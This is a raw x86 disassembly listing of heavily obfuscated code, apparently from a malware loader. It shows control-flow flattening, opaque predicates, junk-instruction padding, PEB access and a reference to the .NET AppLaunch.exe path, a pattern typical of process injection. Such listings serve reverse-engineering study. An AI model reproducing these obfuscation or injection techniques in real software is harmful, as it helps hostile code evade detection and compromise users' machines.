mov edx, esi
and ecx, eax
and edx, 0x7b5c292e
and esi, 0x104c9682
and eax, 0xefb3697d
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0x7b2f4653
and edx, 0x84d0b9ac
or ecx, edx
mov edx, ecx
xor edx, 0x522370
xor ecx, 0xff8c9083
mov esi, ecx
and esi, 0x7c2ddc8d
and edx, 0x83d22372
or edx, esi
mov esi, eax
xor esi, 0x83922170
xor eax, 0x100c9480
and eax, 0x7c2ddc8d
and esi, 0x83d22372
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0xea472a92
sete al
cmp dword [0x45d978], 0xa
setl cl
xor cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x2fd62a38
cmovne ecx, esi
test al, al
mov eax, ecx
cmovne eax, edi
test dl, dl
mov edx, dword [ebp - 0xf8]
cmovne eax, ecx
mov dword [ebp - 0x150], edx
jmp 0x401610
cmp eax, 0x1406c916
je 0x40ca6b
cmp eax, 0x16eb3731
jne 0x401610
mov eax, 0xcedc6686
jmp 0x401610
cmp eax, 0xd94325d5
je 0x40cb8e
cmp eax, 0xda1bd3a9
jne 0x401610
mov eax, 0x2704cb08
jmp 0x401610
cmp eax, 0x55e0323e
je 0x40cbdb
cmp eax, 0x55f66043
jne 0x401610
mov eax, dword [0x45d97c]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov ecx, esi
or ecx, 1
and esi, 0xc433ed6d
mov edx, eax
and edx, 0x3bcc1292
and eax, 0xb7fb782e
or edx, esi
mov esi, ecx
and esi, 0x480487d1
or eax, esi
mov esi, edx
xor esi, 0x33c81002
xor edx, 0xc433ed6c
or ecx, edx
and edx, 0x480487d1
and esi, 0xb7fb782e
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xf5316e63
and ecx, 0xace919c
or eax, ecx
mov ecx, eax
xor ecx, 0x71004661
xor eax, 0xace919c
mov esi, eax
and esi, 0x84f9a81e
and ecx, 0x7b0657e1
or ecx, esi
mov esi, edx
not esi
and edx, 0x7b0657e1
or eax, esi
and esi, 0x84f9a81e
or edx, esi
not eax
mov esi, 0x6065f9c6
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9c62bfdd
and ecx, 0x639d4022
or eax, ecx
mov ecx, eax
xor ecx, 0x90020b01
xor eax, 0x230c0002
and eax, 0x2f6cb4de
and ecx, 0xd0934b21
or ecx, eax
xor ecx, 0xd0934b21
setne al
sete dl
cmp dword [0x45d978], 0xa
mov ecx, eax
setge ah
xor al, ah
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor ah, cl
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x88d49013
cmovne eax, esi
test dl, dl
mov edx, 0x88d49013
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401610
cmp eax, 0xb9c9fb99
je 0x40cd40
cmp eax, 0xb9f0f628
jne 0x401610
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x120]
mov eax, 0xb5f10a67
jmp 0x401610
cmp eax, 0x33e764eb
je 0x40ce4b
cmp eax, 0x34c5fb89
jne 0x401610
mov eax, dword [0x45d97c]
mov esi, 0x8bb38832
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xfc3b27
mov eax, ecx
and eax, 0xe02027
and edx, ecx
not ecx
and ecx, 0x1c1b00
or eax, ecx
xor eax, 0xe02027
or eax, edx
not edx
and edx, 0xff03c4d8
and eax, 0xfc3b27
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x28a5fcff
and edx, 0xfffffffe
and ecx, 0xd75a0300
or eax, ecx
xor eax, 0x28a5fcfe
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb52e0bea
and ecx, 0x4ad1f415
or ecx, eax
mov eax, ecx
xor eax, 0xa1280960
xor ecx, 0x4a000005
and eax, 0xa1f9fd70
and ecx, 0x5e06028f
or ecx, eax
mov eax, ecx
xor eax, 0x81709c40
xor ecx, 0x4a060001
and ecx, 0x6a8f6131
and eax, 0x95709ece
or eax, ecx
xor eax, 0x95709ece
setne cl
sete al
cmp dword [0x45d978], 0xa
mov ch, cl
setl dl
setge ah
and ch, ah
and dl, al
xor cl, ah
or dl, ch
mov al, dl
xor al, ah
and al, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor cl, 1
and cl, al
xor al, 1
and ah, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xab0b6b13
cmovne edx, esi
test al, al
mov eax, 0xab0b6b13
jmp 0x40cfd2
cmp eax, 0xf48cb2d7
je 0x40ce6c
cmp eax, 0xf48cb4cf
jne 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0xba4b6668
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x5940402c
mov edx, ecx
and edx, 0x40e23c0
and ecx, 0xa6a71159
or esi, edx
mov edx, eax
xor edx, 0x5d4e63ec
and edx, eax
xor esi, 0x5940402c
and eax, 0x5958eea6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x6f28754a
xor eax, 0x5958eea6
and esi, 0x90d78ab5
or edx, esi
mov esi, edx
xor esi, 0x32061604
xor edx, 0x509c010
and edx, 0x569c0b3
and esi, 0xfa963f4c
or esi, edx
xor esi, 0xfa963f4c
or eax, esi
mov esi, 0x7998edbc
xor eax, 0xffffffff
sete ah
setne al
cmp dword [0x45d978], 0xa
mov dh, ah
setl dl
setge ch
mov cl, dl
or dh, ch
and ch, ah
or cl, al
and al, dl
mov bl, dh
or dl, ah
or al, ch
xor bl, cl
or cl, dh
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, bl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
xor ah, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xba4b6668
cmovne ecx, esi
test al, 1
jmp 0x40b061
cmp eax, 0x7827be18
je 0x40cfe0
cmp eax, 0x7998edbc
jne 0x401610
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xba4b6668
jmp 0x401610
cmp eax, 0x874cb190
je 0x40cff9
cmp eax, 0x88d49013
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1075dfd8
mov esi, eax
and esi, 0xef8a2026
and eax, 0xa63fd077
or edx, esi
mov esi, edx
xor esi, 0x6548d0
xor edx, 0xef8a2027
mov edi, edx
and edi, 0x3612b708
and esi, 0xc9ed48f6
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0x59c02f88
mov ebx, edi
not ebx
and edi, 0xc9ed48f7
or eax, ecx
or edx, ebx
and ebx, 0x3612b708
or edi, ebx
not edx
xor edi, esi
or edx, edi
mov esi, edx
not esi
and edx, 0xa63fd077
mov edi, esi
and edi, 0x59c02f88
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x6065f9c6
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl cl
mov al, cl
xor al, ah
not al
and al, ah
or ah, cl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor al, 1
xor cl, dl
or ah, dl
or al, ch
xor ah, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x5f878d8
cmovne ecx, esi
test al, 1
mov eax, 0x5f878d8
cmove ecx, esi
jmp 0x409325
cmp eax, 0xf82c5c24
je 0x40d14d
cmp eax, 0xf8f24beb
jne 0x401610
mov eax, dword [ebp - 0x30]
mov eax, 0x9c40665d
jmp 0x401610
cmp eax, 0xbe7e5341
je 0x40d166
cmp eax, 0xbf23cccc
jne 0x401610
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, 0x8cf076f3
jmp 0x401610
cmp eax, 0x3b78a49d
je 0x40d17f
cmp eax, 0x3bbb8e16
jne 0x401610
cmp byte [ebp - 0x81], 0
mov eax, 0xcd5d00b2
mov ecx, 0x3f8bcab5
cmovne eax, ecx
jmp 0x401610
cmp eax, 0x9c40665d
je 0x40d189
cmp eax, 0x9c81d1da
jne 0x401610
cmp dword [ebp - 0x1a4], 0
mov eax, 0x32850e04
setne byte [ebp - 0x85]
jmp 0x401610
cmp eax, 0x1a71ec0a
je 0x40d199
cmp eax, 0x1f6a6755
jne 0x401610
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov dword [ebp - 0x1c4], eax
mov eax, 0x58eeb188
jmp 0x401610
cmp eax, 0xdebbe862
je 0x40d1a3
cmp eax, 0xdee4c38c
jne 0x401610
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x20
mov eax, 0xfe01590e
jmp 0x401610
cmp eax, 0x5b61b4e7
je 0x40d1b8
cmp eax, 0x5bb6088d
jne 0x401610
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x178]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
add eax, dword [ebp - 0x174]
mov dword [ebp - 0x180], 0x437000
mov dword [ebp - 0x17c], eax
mov eax, 0x6c8bb392
jmp 0x401610
cmp eax, 0x8c4e36f7
je 0x40d1c2
cmp eax, 0x8cf076f3
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x61f9e8c0
mov esi, edx
and esi, 0x9e06173f
mov edi, edx
or edi, 0x280201
and edx, 0x4e47a02c
or ecx, esi
and edi, 0x202b232f
mov esi, ecx
xor ecx, 0x201
xor esi, 0x1000000
or ecx, 0x2003212e
and esi, 0x83041010
and ecx, 0x202b232f
or esi, ecx
mov ecx, eax
and ecx, 0x5cd0ccc0
and eax, 0xb1b85fd3
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0x832c1210
and esi, 0x7cd3edef
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xbb70b3ee
and esi, 0x448f4c11
or ecx, esi
mov esi, ecx
xor esi, 0x90109120
xor ecx, 0x448f4c11
mov edx, ecx
and edx, 0x2b692ecf
and esi, 0xd496d130
or esi, edx
mov edx, eax
xor edx, 0x90905110
xor eax, 0x4e47a02c
or ecx, eax
and eax, 0x2b692ecf
and edx, 0xd496d130
or edx, eax
not ecx
xor edx, esi
mov esi, 0xbf23cccc
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x59c0af4e
and eax, 0xa63f50b1
or ecx, eax
xor ecx, 0x59c0af4e
sete al
setne cl
cmp dword [0x45d978], 0xa
setl dl
xor cl, dl
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
xor cl, 1
or dl, ah
mov eax, dword [ebp - 0x1c]
xor dl, cl
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0x35c319e8
cmovne eax, esi
test dl, cl
mov ecx, 0x35c319e8
cmove eax, esi
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401610
cmp eax, 0x7e0a9e9
je 0x40d1cc
cmp eax, 0x9f977b6
jne 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0x77b3b5fe
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x897dda73
and eax, 0x7682258c
or edx, eax
xor edx, 0x897dda73
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x6e665266
mov esi, eax
and esi, 0x9199ad99
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6e665266
or eax, esi
and esi, 0x9199ad99
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x25841480
and eax, 0xc2582900
mov edx, ecx
or edx, 0x803c214
and esi, 0x2d87d694
and ecx, 0x1020006b
and edx, 0x2d87d694
or ecx, esi
mov esi, 0xc40f9ac7
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xed30f4fa
and ecx, 0x12cf0b05
or eax, ecx
xor eax, 0xf5133685
setne ah
sete dl
cmp dword [0x45d978], 0xa
mov cl, ah
setl al
setge ch
or al, dl
or cl, ch
xor ch, ah
xor al, 1
and cl, ch
or al, ch
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
mov dh, dl
or al, cl
xor dh, al
test dh, 1
cmovne edi, esi
test al, al
mov eax, edi
cmovne eax, esi
test dl, dl
cmove eax, edi
jmp 0x401610
cmp eax, 0xcf9744ad
je 0x40d277
cmp eax, 0xd0cebaa2
jne 0x401610
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x140]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0xc]
add eax, dword [ebp - 0xf0]
push dword [ebp - 0xb8]
push dword [ebp - 0x134]
push dword [ebp - 0x138]
push eax
vzeroupper
call section..text
add esp, 0x10
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x54]
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x5dc89926
not edx
mov ecx, edx
and esi, eax
and ecx, 0x5dc89926
and edx, 0xc18941ae
and eax, 0x3e76be51
or ecx, esi
not esi
or eax, edx
and esi, 0xa23766d8
and ecx, 0x5dc89927
xor eax, 0x3e76be51
or ecx, esi
mov esi, 0xd94325d5
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd507e949
and ecx, 0x2af816b6
or eax, ecx
xor eax, 0xd507e949
sete dl
setne ah
cmp dword [0x45d978], 0xa
setl cl
setge al
or ah, cl
or al, dl
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
xor al, 1
xor ah, 1
or al, ch
or cl, ah
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xaee0f06a
cmovne ecx, esi
test al, 1
mov eax, 0xaee0f06a
jmp 0x409e04
cmp eax, 0x4d60123a
je 0x40d281
cmp eax, 0x4d8a2c15
jne 0x401610
mov eax, 0xe5b72df7
jmp 0x401610
cmp eax, 0xaeab297b
je 0x40d28b
cmp eax, 0xaee0f06a
jne 0x401610
mov eax, 0xb0d47069
jmp 0x401610
cmp eax, 0x2e41d07f
je 0x40d2c7
cmp eax, 0x2f3ec37d
jne 0x401610
mov eax, 0x63a6d7de
mov dword [ebp - 0x38], 1
jmp 0x401610
mov eax, 0x7221028d
jmp 0x401610
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, 0xf731be09
jmp 0x401610
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x17c]
vzeroupper
call fcn.00423120
add esp, 0xc
mov eax, 0xbab6877c
jmp 0x401610
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, 0x3d2a5062
jmp 0x401610
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x114]
mov eax, 0x7def9b72
jmp 0x401610
mov eax, 0xc1fb716a
jmp 0x401610
mov eax, 0x51a080bd
jmp 0x401610
mov eax, dword [ebp - 0x2c]
mov eax, 0x7cca72de
jmp 0x401610
mov eax, 0xf21b17ae
jmp 0x401610
cmp byte [ebp - 0x86], 0
mov eax, 0x801a37a6
mov ecx, 0xacd8085d
cmovne eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x1d0]
mov ecx, 0xea1460d4
cmp eax, dword [ebp - 0x1d4]
mov eax, 0x675d7c26
cmovl eax, ecx
jmp 0x401610
sbb esi, 0x7f
or edi, 0x74
bswap edi
rol eax, 0xe0
dec esi
mov eax, 0xde
bswap edx
mov esi, 0x25
bswap eax
not eax
neg eax
sub edx, 0x8d
rcr esi, 0xf
not edx
not ebx
and esi, 0x53
imul eax
mov eax, 0x71
rol edi, 0x2b
sbb esi, 0xd5
imul eax
sub ebx, 0x6e
and ebx, 0x9e
not esi
imul edi
rcl edx, 0xe1
and edx, 0xf1
sub esi, 0xe3
add esi, 0x9a
add edx, 0xb7
imul esi
imul edx
rcr eax, 0xbd
inc eax
inc eax
add esi, 0xbe
sub edx, 0x8e
not edi
dec edx
imul eax
rcl edi, 0x8c
and edi, 0x13
dec edx
imul ebx
rcr edi, 0xf8
mov edi, 0x90
or ebx, 0x97
ror edi, 0x61
rcl ebx, 0x47
rcr eax, 0x30
not edi
neg edx
not edx
ror edx, 0xf9
neg esi
rcr edi, 0x9f
neg edi
neg esi
imul edi
imul edx
not ebx
imul eax
add ebx, 0x80
not ebx
neg eax
bswap edi
sbb edx, 0x93
inc edx
bswap eax
rcl esi, 0x33
dec edi
mov edi, 0x35
neg esi
not ebx
mov eax, 0x7d
inc eax
rcr edi, 0x89
ror edx, 0x2a
add edx, 0x6a
rcl edi, 0x6e
imul eax
inc edi
neg ebx
and esi, 0x5a
inc esi
bswap edi
rol edi, 0x4e
not edi
rcl eax, 0x6a
imul ebx
inc edi
imul edi
or eax, 0xc7
imul ebx
bswap esi
add ebx, 0x49
mov edx, 0x25
mov edi, 0xcb
dec ebx
sub eax, 0xa6
imul eax
sub edx, 0x56
mov ebx, 0xe
not edx
and ebx, 6
imul ebx
dec esi
bswap edi
add esi, 0xd1
bswap edi
rol esi, 0x99
mov eax, 3
sbb eax, 0x53
bswap eax
neg edx
not eax
neg esi
dec esi
sbb edx, 0xfb
inc eax
rcl edx, 0x6a
inc edx
neg eax
not edi
rcl edi, 0xa8
add eax, 0xb1
or ebx, 0xe4
bswap eax
not eax
sbb edx, 0x45
not edi
inc eax
imul ebx
and esi, 0x2b
rol ebx, 0x4e
dec ebx
mov ebx, 0
or edi, 0x6a
bswap esi
not edi
dec edi
sbb edi, 0x33
ror esi, 0x59
rol eax, 0x19
and esi, 0xf4
mov eax, 0x2d
or esi, 0x62
neg eax
rol esi, 0x64
neg edi
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x91f8461e
mov esi, eax
and esi, 0x6e07b9e0
and eax, 0x58ebaf84
or edx, esi
mov esi, edx
xor esi, 0x11d8041c
xor edx, 0xc03a840
and edx, 0x8c23ea42
and esi, 0x73dc15bc
or esi, edx
mov edx, ecx
or edx, 0x8c23ea42
and edx, 0x8c23ea43
xor edx, esi
mov esi, edx
not esi
mov edi, edx
or edx, ecx
and ecx, 0xa714507b
and edi, 0xa714507b
and esi, 0x58ebaf84
or eax, ecx
not edx
or esi, edi
xor eax, esi
mov esi, 0x12caaaaf
or edx, eax
xor edx, 0xffffffff
sete al
setne cl
cmp dword [0x45d978], 0xa
setl ah
mov ch, ah
mov dl, ah
xor ch, cl
or dl, al
or cl, ah
xor al, ah
xor ch, 1
xor dl, 1
xor cl, 1
and al, ah
or al, cl
or dl, ch
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xde378570
cmovne eax, esi
test cl, cl
mov ecx, 0xde378570
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401610
mov eax, 0xbb941883
jmp 0x401610
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, 0x1f6a6755
jmp 0x401610
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov dword [eax + 4], ecx
push dword [ebp - 0x94]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x60]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x53a4e47b
jmp 0x401610
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov dword [eax], 0
mov eax, 0x4c206fe2
jmp 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc4008020
and eax, 0x19360bd0
mov edx, ecx
or edx, 0x20412008
and esi, 0xe441a028
and ecx, 0x2885407
and edx, 0xe441a028
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x22c9740f
and ecx, 0xdd368bf0
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x27fd252e
and edx, 0xfffffffe
and ecx, 0xd802dad1
or eax, ecx
xor eax, 0x27fd252f
or eax, edx
mov edx, eax
xor edx, 0x84437df
mov ecx, eax
and ecx, 0x714b92f1
and edx, eax
not eax
and eax, 0x8eb46d0e
or ecx, eax
mov eax, ecx
xor ecx, 0x804250e
xor eax, 0x4012c1
or ecx, 0xf7bbc820
and eax, 0x4017cb
mov esi, ecx
and esi, 0xef9ce834
or eax, esi
mov esi, edx
not esi
and edx, 0x106317cb
or ecx, esi
and esi, 0xef9ce834
or edx, esi
not ecx
mov esi, 0x4d8a2c15
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x7eb3b55c
and eax, 0x814c4aa3
or ecx, eax
cmp ecx, 0x76f78283
sete dl
cmp dword [0x45d978], 0xa
mov ecx, edx
setge al
mov ah, al
or al, dl
xor ah, dl
xor al, 1
and cl, ah
not ah
and ah, dl
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
and al, dl
xor ah, 1
or dl, ah
and ah, cl
mov ecx, 0x251eedcc
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, ah
mov esi, 0x251eedcc
jmp 0x40abe9
cmp dword [ebp - 0x1e8], 0
mov eax, 0x2e39e02f
mov ecx, 0x30871128
cmove eax, ecx
jmp 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0x243092de
jmp 0x401610
mov eax, dword [0x45d97c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x928f42c5
and eax, 0x6d70bd3a
or edx, eax
mov edi, edx
mov eax, edx
xor edi, 0x828b00c0
xor eax, 0x61401122
xor edx, 1
and eax, 0x71445327
and edi, 0x8ebbacd8
and edx, 0x400023
or edi, eax
mov esi, edi
xor esi, 0x41401201
xor edi, 0x8ebbacd8
mov eax, edi
and eax, 0x30b74de6
and esi, 0xcf48b219
or edi, 0xbfa86758
or esi, eax
mov eax, esi
mov ebx, esi
xor eax, 0xcf48b219
xor ebx, 0x8f1f2abe
xor esi, 0x30a50862
and ebx, eax
and esi, 0xb1e51a6b
mov ecx, ebx
not ecx
and ebx, 0x31e80723
mov dword [ebp - 0xa4], ecx
and dword [ebp - 0xa4], 0xce17f8dc
or ecx, edi
and edi, 0xce17f8dc
add ebx, dword [ebp - 0xa4]
or edx, edi
not ecx
mov edi, 0x80def804
xor edx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xbfa86759
and edx, 0x405798a6
or ecx, edx
mov edx, eax
and edx, 0x4e1ae594
and eax, 1
or edx, esi
xor edx, 0xb1e51a6a
or eax, edx
mov edx, eax
not edx
and eax, 0x677be4d8
and edx, 0x98841b27
or eax, edx
mov edx, ecx
not edx
and ecx, 0x83f4c3ea
mov esi, edx
and esi, 0x7c0b3c15
or ecx, esi
mov esi, eax
xor esi, 0x370c0c8
xor eax, 0x98841b27
or edx, eax
and eax, 0x7c0b3c15
and esi, 0x83f4c3ea
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x54cde3de
mov eax, edx
not eax
and edx, 0xf24ec9db
and eax, 0xdb13624
or eax, edx
xor eax, 0xf24ec9db
setne cl
sete dl
cmp dword [0x45d978], 0xa
mov ch, cl
setl ah
setge al
and cl, ah
and ch, al
and ah, dl
or ah, ch
mov ch, ah
xor ch, al
and al, dl
mov edx, 0x80def804
and ch, ah
or al, cl
xor al, ch
mov cl, al
cmovne edx, esi
not cl
test cl, ch
cmove edx, edi
cmovne edx, esi
test al, al
jmp 0x40d26d
inc ebx
neg edi
imul ebx
rol eax, 0xa4
imul esi
dec ebx
not esi
dec edx
add esi, 0x69
bswap eax
add edi, 0xe7
imul eax
ror edx, 8
inc eax
sbb eax, 0x91
sbb esi, 0x63
rcr edx, 0x67
dec edi
neg edx
sub eax, 0xb
or edx, 0x46
sbb esi, 0x73
inc edx
add eax, 0x1f
mov eax, 0x37
rcr edx, 0x2f
mov edx, 0x51
inc ebx
not edx
ror esi, 0x65
neg eax
sub edi, 0x54
rol ebx, 0x99
neg eax
sbb edx, 0xac
mov eax, 0x76
and ebx, 0x2d
sub eax, 0xee
dec eax
sub edi, 0x67
dec ebx
imul ebx
neg edx
rcr esi, 0x70
rcl ebx, 0x13
inc eax
neg esi
ror esi, 0x7b
ror edi, 0xa9
rcr edx, 0xd8
not edx
neg eax
sub ebx, 0xbb
dec eax
not edx
mov eax, 0xfa
not esi
neg edi
sbb esi, 0x93
bswap edi
add esi, 0x83
rcl ebx, 0xcf
neg ebx
rol edx, 0x70
dec eax
neg esi
dec edx
add edx, 0xce
inc ebx
rol edx, 0xf
imul ebx
rcr esi, 0xcf
ror eax, 0xcf
neg edx
dec eax
imul esi
neg edx
and edx, 0x33
neg edi
imul esi
bswap edi
bswap edx
dec eax
bswap esi
inc edi
imul esi
neg esi
mov edi, 0xd8
imul edx
rcr esi, 0x23
sbb ebx, 0xdb
neg ebx
inc ebx
neg ebx
neg edi
sub eax, 0x8a
sub eax, 0xe0
inc edi
inc esi
neg edx
mov esi, 3
sub ebx, 0x3a
neg edi
inc eax
bswap edi
rol ebx, 0x22
rcl eax, 0xaa
rcr edx, 0xd8
ror edi, 0xed
dec esi
and eax, 0x93
sbb edx, 0x1d
rcr edi, 0x13
bswap edx
or eax, 0xc3
dec eax
bswap edi
dec esi
or eax, 0xac
not edi
dec ebx
not eax
bswap edi
or edi, 0x53
rcl esi, 0xce
not edi
imul edi
dec eax
mov edx, 0x46
inc edi
imul ebx
neg esi
not esi
dec ebx
mov edx, 0xe3
and edx, 0x2a
inc eax
sub edi, 0xfe
bswap esi
neg ebx
bswap edi
not ebx
imul edi
imul edi
inc edi
rcr eax, 0x2f
sbb edi, 0x89
rol esi, 0x63
ror edi, 0x2c
imul eax
mov eax, dword [ebp - 0xbc]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xbc]
vmovups ymm1, ymmword [0x4301a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4301c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc0]
add eax, 0xfffffff8
mov dword [ecx], eax
imul ebx
rcl esi, 0x7e
imul edi
dec ebx
bswap edx
sub edi, 0xea
add edx, 5
imul edi
dec edx
sub edx, 0xa
inc edx
mov eax, 0x5d
neg edi
imul edi
rcl esi, 0xe8
rcr edi, 0x86
not edx
imul edi
rcr edx, 0xbc
add ebx, 0xcd
bswap edi
ror eax, 0xdb
sbb esi, 0x47
sub eax, 0x6d
add eax, 0x28
rcr ebx, 0xad
bswap esi
mov eax, 0x8c
ror eax, 0x35
sbb esi, 0x76
